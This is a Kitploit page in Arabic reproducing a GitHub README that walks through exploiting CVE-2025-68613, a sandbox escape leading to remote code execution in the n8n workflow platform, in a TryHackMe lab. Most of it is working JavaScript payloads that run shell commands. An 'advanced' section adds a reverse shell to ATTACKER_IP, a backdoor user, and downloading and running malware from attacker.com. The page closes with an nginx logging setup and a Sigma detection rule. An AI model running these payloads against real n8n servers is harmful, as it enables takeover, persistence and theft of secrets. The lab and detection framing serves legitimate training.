Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
n8n-cve-2025-68613-thm — شرح تعليمي لاستغلال CVE-2025-68613، RCE حرجة في أتمتة سير عمل n8n. يغطي حقن التعبيرات والهروب من صندوق الحماية وتطوير الحمولة واستراتيجيات الكشف عبر مختبر TryHackMe. | Kitploit
أدوات/GitHubGitHub/khin-96/n8n-cve-2025-68613-thm
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالقيادة والسيطرةالتعلم والتعليمالاستجابة للحوادثتطوير الحمولاتمختبرات وتدريب عملي
GitHubkhin-96/n8n-cve-2025-68613-thm

n8n-cve-2025-68613-thm

شرح تعليمي لاستغلال CVE-2025-68613، RCE حرجة في أتمتة سير عمل n8n. يغطي حقن التعبيرات والهروب من صندوق الحماية وتطوير الحمولة واستراتيجيات الكشف عبر مختبر TryHackMe.

131منذ 10 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2025-68613 – استغلال RCE الحرِج في n8n

نظرة عامة

يوثّق هذا المستودع استغلالاً عملياً لثغرة CVE-2025-68613 (CVSS 9.9)، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (Remote Code Execution) تؤثر على منصة n8n لأتمتة سير العمل (الإصدارات 0.211.0 حتى 1.120.3).

تم تنفيذ هذا الاستغلال بشكل أخلاقي في بيئة مختبر TryHackMe خاضعة للتحكم لأغراض تعليمية فقط.


ملخص الثغرة

الحقلالقيمة
معرّف CVECVE-2025-68613
درجة CVSS9.9 (حرِجة)
تاريخ النشر19 ديسمبر 2025
المنتج المتأثرمنصة n8n لأتمتة سير العمل
نوع الثغرةحقن التعبيرات → الهروب من العزل (Sandbox Escape) → RCE
ناقل الهجوممستخدم مُصادَق (افتراضي)
الإصدارات المُصحَّحة1.120.4، 1.121.1، 1.122.0+
الإصدارات المتأثرة0.211.0 - 1.120.3

ما هي n8n؟

n8n هي منصة مفتوحة المصدر لأتمتة سير العمل تتيح للمستخدمين ربط التطبيقات والخدمات بصرياً لأتمتة المهام. وتتميز بما يلي:

  • بنية سير عمل قائمة على العقد (Nodes): تمثل كل عقدة إجراءً (طلب API، معالجة بيانات، بريد إلكتروني، إلخ)
  • أكثر من 400 تكامل أصلي: موصلات جاهزة لمختلف واجهات API والخدمات
  • عقد التعليمات البرمجية (Code Nodes): تنفيذ تعليمات برمجية مخصصة بلغة JavaScript أو Python
  • تقييم التعبيرات: تعبيرات ديناميكية داخل {{ }} يتم تقييمها كـ JavaScript

نماذج النشر

  • مثيلات مستضافة ذاتياً (محلية أو سحابة خاصة)
  • خدمة مدارة مستضافة على السحابة (n8n.cloud)
  • أدوات أتمتة داخلية ضمن شبكات الشركات

الخلفية التقنية

سلسلة الثغرة

تكمن الثغرة في نظام تقييم تعبيرات سير العمل في n8n. فعندما يقوم المستخدمون المُصادَقون بتكوين سير العمل، تتم معالجة مدخلاتهم كتعليمات برمجية JavaScript دون عزل (sandboxing) مناسب.

سلسلة تصعيد السياق

صندوق عزل التعبيرات (Expression Sandbox)
    ↓ (الهروب عبر 'this')
سياق Node.js العام
    ↓ (الوصول إلى mainModule)
نظام الوحدات (require)
    ↓ (تحميل child_process)
تنفيذ أوامر النظام

العيوب الرئيسية

  1. تقييم غير آمن للتعبيرات: يتم تقييم تعبيرات المستخدم داخل {{ }} كـ JavaScript خام دون عزل سياق مناسب
  2. الهروب من العزل: الوصول إلى كائن this يتيح الهروب من قيود العزل المقصودة
  3. وصول غير مقيد إلى الوحدات: يوفر process.mainModule.require() الوصول إلى نظام وحدات Node.js
  4. تحميل وحدات خطيرة: يمكنه تحميل وحدة child_process لتنفيذ أوامر النظام
  5. لا حماية ذات مغزى للمصادقة: يمكن لأي مستخدم مُصادَق استغلال الثغرة

تفصيل حمولة الاستغلال

(function(){ 
  return this.process.mainModule.require('child_process').execSync('COMMAND').toString() 
})()

الشرح:

  • this → الكائن العام في Node.js
  • this.process → كائن العملية في Node.js
  • process.mainModule → الوحدة الجذرية لتطبيق n8n
  • .require('child_process') → تحميل وحدة تنفيذ أوامر النظام
  • .execSync('COMMAND') → تنفيذ أمر shell بشكل متزامن
  • .toString() → تحويل مخرجات Buffer إلى نص قابل للقراءة

دليل الاستغلال خطوة بخطوة

الخطوة 1: المصادقة

الوصول إلى مثيل n8n الثغري وتسجيل الدخول ببيانات اعتماد صالحة.

بيانات اعتماد المختبر:

  • البريد الإلكتروني: [email protected]
  • كلمة المرور: Try12345!

شاشة تسجيل الدخول


الخطوة 2: الشاشة الترحيبية وإنشاء سير العمل

بعد تسجيل الدخول، تظهر لك واجهة إنشاء سير العمل. انقر على "Start from scratch" لبدء سير عمل جديد.

الشاشة الترحيبية


الخطوة 3: إضافة مشغّل يدوي (Manual Trigger)

انقر على "Add first step" وابحث عن "Manual Trigger". تعمل هذه العقدة كنقطة دخول لتنفيذ سير العمل.

إعداد المشغّل اليدوي

الغرض: تتيح عقدة المشغّل اليدوي تنفيذ سير العمل يدوياً عبر زر "Execute workflow" في الواجهة، مما يجعلها مثالية للاختبار.


الخطوة 4: تكوين سير العمل وإضافة تعيين الحقول

أضف عقدة "Edit Fields" لإجراء تعيين الحقول. هنا يتم استغلال الثغرة.

تكوين سير العمل

خطوات التكوين:

  1. انقر على "Add field" لإضافة تعيين حقل جديد
  2. اضبط الوضع على "Expression"
  3. يتيح ذلك تقييم تعليمات JavaScript البرمجية

الخطوة 5: تنفيذ أمر id

احقن الحمولة لتنفيذ الأمر id والحصول على معلومات المستخدم/الصلاحيات.

الحمولة:

(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()

النتيجة:

uid=1000(node) gid=1000(node) groups=1000(node)

تنفيذ أمر id

المعلومات التي تم جمعها:

  • التشغيل كمستخدم غير جذر (uid=1000)
  • عضوية المجموعة (gid=1000)
  • مسارات محتملة لتصعيد الصلاحيات

الخطوة 6: استكشاف نظام الملفات باستخدام ls

عدّل الحمولة لتنفيذ الأمر ls وسرد محتويات الدليل.

الحمولة:

(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

تنفيذ أمر ls

يوضح المخرجات:

  • وجود ملف العلم: flag.txt
  • بنية الدليل وصلاحيات الملفات
  • بيانات استطلاع إضافية

الخطوة 7: استخراج البيانات الحساسة

اقرأ ملف العلم باستخدام الأمر cat لإكمال الاستغلال.

الحمولة:

(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()

العلم المستخرج:

THM{n8n_exposed_workflow}

استخراج العلم


تقنيات الاستغلال المتقدمة

1. الصدفة العكسية (Reverse Shell)

إنشاء وصول تفاعلي للصدفة للتحكم المستمر:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString() 
})()

2. إنشاء مستخدم خلفي (Backdoor User)

إضافة مستخدم نظام جديد للوصول المستمر:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString() 
})()

3. تنزيل حمولة خبيثة

جلب وتنفيذ تعليمات برمجية عن بُعد:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString() 
})()

4. استكشاف تصعيد الصلاحيات

التحقق من صلاحيات sudo:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('sudo -l').toString() 
})()

5. استطلاع البيئة

استخراج متغيرات البيئة:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('env').toString() 
})()

استراتيجيات الكشف

تسجيل وكيل الويب (Nginx)

قم بتكوين الوكيل الخاص بك لتسجيل أجسام الطلبات (request bodies) للتحليل:

http {
    log_format detailed '$remote_addr - $remote_user [$time_local] '
                       '"$request" $status $body_bytes_sent '
                       '"$http_referer" "$http_user_agent" '
                       'Request-Body: "$request_body" '
                       'Duration: $request_time s';
    
    access_log /var/log/nginx/detailed_access.log detailed;
}

قاعدة كشف Sigma

كشف محاولات الاستغلال عبر طلبات واجهة برمجة تطبيقات سير العمل:

title: CVE-2025-68613 - n8n Expression Injection RCE
logsource:
    category: web_application_firewall
detection:
    keywords:
        - "process.mainModule.require"
        - "child_process"
        - "execSync"
    condition: keywords
filter:
    field: uri_path
    value: "/rest/workflows"
    method: POST
تنزيل الأداة